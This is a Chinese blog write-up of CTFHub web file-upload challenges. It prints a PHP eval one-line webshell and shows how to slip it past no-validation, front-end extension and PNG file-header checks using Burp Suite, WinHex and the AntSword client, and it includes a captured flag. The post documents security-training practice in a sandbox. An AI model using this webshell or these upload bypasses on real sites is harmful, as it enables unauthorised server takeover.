CTFHub笔记之WEB文件上传:无验证、前端验证、文件头检查

小白一个,如有错误请指正!

一、无验证

        我们这次来到了文件上传模块了,这是一个无验证的文件上传,那我们直接上传一个一句话木马即可。

代码:

<?php
    @eval($_REQUEST["shell"]);
?>

1.我们在桌面创建一个shell.txt文件,输入代码后将后缀改成.php,然后将文件上传。

2.在这里我们得知上传的路径是:

http://challenge-620c59fde44f34b7.sandbox.ctfhub.com:10800/upload/shell.php

3.然后我们打开蚁剑,进行连接,先点击测试连接,提示连接成功后我们点击添加

附蚁剑下载地址:https://github.com/AntSwordProject/          

 4.这里我们直接双击添加成功的链接,查看文件

 5.点击进来就发现flag了,点开里面就是falg了

 二、前端验证

        我们先照常上传我们的shell,php文件,然后发现不允许上传,那我们用F12大法看一下。

        在这里我们发现有一个前端认证,而且认证的代码也给我们了,大概意思就是除了后缀名为jpg、png 、gif格式的文件之外,其他文件不允许上传。

解题思路

         我们可以先将文件名改为shell.jpg,然后使用Burpsuite进行抓包,修改数据包的内容,将我们的文件名改回shell.php,再用蚁剑进行连接就可以了。

实现步骤:

1.用Burpsuite进行抓包,在红框位置修改文件名,发送数据包查看返回内容。我们可以发现文件上传成功了,没有被拦截。

 2.打开蚁剑,填写url和密码进行连接。

 3.连接成功,翻找flag。

 4.成功拿下flag。

ctfhub{a45284a7a153ea87becca3e1} 

三、文件头检查

1.文件头检查我们需要下载winhex:

http://www.x-ways.net/winhex.zip

2.我们从winhex中打开我们的一句话木马shell.php,为它添加一个PNG的文件头89504E47

3. 剪贴板格式选择 ASCLL Hex

 4.剩下的就是用burp抓包改木马文件后缀和蚁剑连接后去flag了

 

 

参考资料:

https://blog.youkuaiyun.com/weixin_45556441/article/details/115732738 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值